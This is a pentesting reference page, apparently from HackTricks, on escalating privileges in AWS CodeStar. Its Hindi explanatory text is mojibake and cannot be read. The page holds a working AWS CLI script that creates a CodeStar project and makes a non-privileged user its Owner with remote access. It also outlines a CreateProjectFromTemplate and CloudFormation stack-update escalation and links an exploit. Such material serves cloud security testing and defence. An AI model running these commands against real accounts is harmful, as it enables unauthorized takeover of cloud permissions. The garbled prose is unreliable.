AWS - Codestar Privesc

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Codestar

рдЖрдк рдХреЛрдбрд╕реНрдЯрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк рдХреЛрдбрд╕реНрдЯрд╛рд░ IAM рд░реЛрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд▓рд╛рдЙрдбрдлреЙрд░реНрдореЗрд╢рди рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╡рд┐рдз рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрдЬ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ codestar:CreateProject рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдХреЛрдбрд╕реНрдЯрд╛рд░ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ codestar:AssociateTeamMember рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ IAM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рдирдП рдХреЛрдбрд╕реНрдЯрд╛рд░ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдорд╛рд▓рд┐рдХ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирдИ рдиреАрддрд┐ рдкреНрд░рд╛рдкреНрдд рд╣реЛред

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рддреЛ рдЖрдк codestar:UpdateTeamMember рдЕрдиреБрдорддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рднреВрдорд┐рдХрд╛ рдХреЛ codestar:AssociateTeamMember рдХреЗ рдмрдЬрд╛рдп рдорд╛рд▓рд┐рдХ рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡: codestar рдиреАрддрд┐ рдореЗрдВ рдЙрдиреНрдирддрд┐ред рдЖрдк рдЙрд╕ рдиреАрддрд┐ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. рдирдпрд╛ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдмрдирд╛рдПрдВ:

  • рдирдИ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП codestar:CreateProjectFromTemplate рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

  • рд╕рдлрд▓ рдирд┐рд░реНрдорд╛рдг рдХреЗ рдмрд╛рдж, cloudformation:UpdateStack рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред

  • рдпрд╣ рдкрд╣реБрдВрдЪ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ CodeStarWorker-<рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдирд╛рдо>-CloudFormation IAM рднреВрдорд┐рдХрд╛ рд╕реЗ рдЬреБрдбрд╝реЗ рдПрдХ рд╕реНрдЯреИрдХ рдХреЛ рд▓рдХреНрд╖реНрдп рдмрдирд╛рддреА рд╣реИред

  1. рд▓рдХреНрд╖реНрдп рд╕реНрдЯреИрдХ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ:

  • рдкреНрд░рджрддреНрдд CloudFormation рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдЯреИрдХ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝реЗрдВред

  • рд╕реНрдЯреИрдХ рдХрд╛ рдирд╛рдо рд╕рд╛рдорд╛рдиреНрдпрдд: рджреЛ рдкреИрдЯрд░реНрдиреЛрдВ рдореЗрдВ рд╕рдорд╛рди рд╣реЛрдЧрд╛:

  • awscodestar-<рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдирд╛рдо>-infrastructure

  • awscodestar-<рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдирд╛рдо>-lambda

  • рдпрд╣ рд╕рдЯреАрдХ рдирд╛рдо рдЪрдпрдирд┐рдд рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╕рдВрджрд░реНрдн рджреЗрдЦреЗрдВ)ред

  1. рдкрд╣реБрдВрдЪ рдФрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ:

  • рдЕрдкрдбреЗрдЯ рдХреЗ рдмрд╛рдж, рдЖрдк рд╕реНрдЯреИрдХ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реА CloudFormation IAM рднреВрдорд┐рдХрд╛ рдХреЛ рд╕реМрдВрдкреА рдЧрдИ рдХреНрд╖рдорддрд╛рдПрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред

  • рдзреНрдпрд╛рди рджреЗрдВ: рдпрд╣ рд╕реНрд╡рддрдГ рдкреВрд░реНрдг рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ред рдФрд░ рдЖрдЧреЗ рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рдЕрдиреБрд╕рдВрдзрд╛рди рджреЗрдЦреЗрдВ: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/ред рдЖрдк рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡: cloudformation IAM рднреВрдорд┐рдХрд╛ рдореЗрдВ рдЙрдиреНрдирддрд┐ред

Last updated